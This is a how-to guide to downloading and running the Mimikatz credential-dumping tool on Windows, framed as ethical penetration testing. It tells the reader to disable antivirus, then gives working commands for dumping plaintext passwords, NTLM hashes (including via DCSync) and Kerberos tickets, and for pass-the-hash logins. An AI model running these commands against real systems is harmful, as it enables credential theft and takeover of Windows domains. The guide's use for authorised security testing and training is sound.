Introduction

Mimikatz is a powerful tool designed to extract passwords, hashes, PIN codes, and Kerberos tickets from memory in plaintext. It is widely used by penetration testers and security professionals to assess system vulnerabilities. This guide provides a step-by-step approach to installing and using Mimikatz for ethical security testing.

Warning: Unauthorized use of Mimikatz is illegal. Make sure you have explicit permission before using it in any environment.

Prerequisites

Before installing Mimikatz, ensure you have the following:

  • A Windows machine (Windows 7, 10, 11, or Server)

  • Administrator privileges

  • Windows Defender and any antivirus software disabled (Mimikatz is often flagged as malware)

Downloading Mimikatz

Mimikatz is an open-source tool available on GitHub. To download it:

  1. Open your web browser and go to
    https://github.com/gentilkiwi/mimikatz

  2. Click Code > Download ZIP.

  3. Extract the ZIP file to a directory of your choice.

You can also clone the repository using Git:

git clone https://github.com/gentilkiwi/mimikatz.git

Running Mimikatz

Because Mimikatz requires administrator privileges, follow these steps:

  1. Open Command Prompt or PowerShell as Administrator.

  2. Navigate to the folder where you extracted Mimikatz:

    cd path\to\mimikatz\x64
  3. Launch Mimikatz:

    mimikatz.exe

You should now see the command-line interface with the prompt:
mimikatz #

Basic Mimikatz Commands

1. Check System Privileges

Before extracting credentials, verify that you have sufficient privileges:

privilege::debug

If successful, you should see:
Privilege ’20’ OK

Extract Passwords from Memory

To extract passwords stored in memory, use:

sekurlsa::logonpasswords

This will display usernames, domains, and plaintext passwords if available.

Dump NTLM Hashes

NTLM hashes can be used for pass-the-hash attacks. To extract them:

lsadump::sam

Or for remote systems:

lsadump::dcsync /domain:targetdomain.com /user:Administrator

Dump Kerberos Tickets

To extract Kerberos tickets from the system:

sekurlsa::tickets /export

This exports .kirbi files, which can be used in pass-the-ticket attacks.

Pass-the-Hash Attack

To authenticate using an NTLM hash instead of a password:

sekurlsa::pth /user:Administrator /domain:example.com /ntlm:<hash>

Conclusion

Mimikatz remains one of the most powerful tools for assessing the security of Windows systems due to its ability to extract passwords, hashes, and Kerberos tickets directly from memory. When used responsibly and ethically, it helps professionals identify vulnerabilities, verify domain infrastructure configurations, and enhance an organization’s overall security posture. However, it is crucial to remember that tools like Mimikatz must only be used with official authorization and in controlled environments, as unauthorized use violates the law and can lead to serious consequences.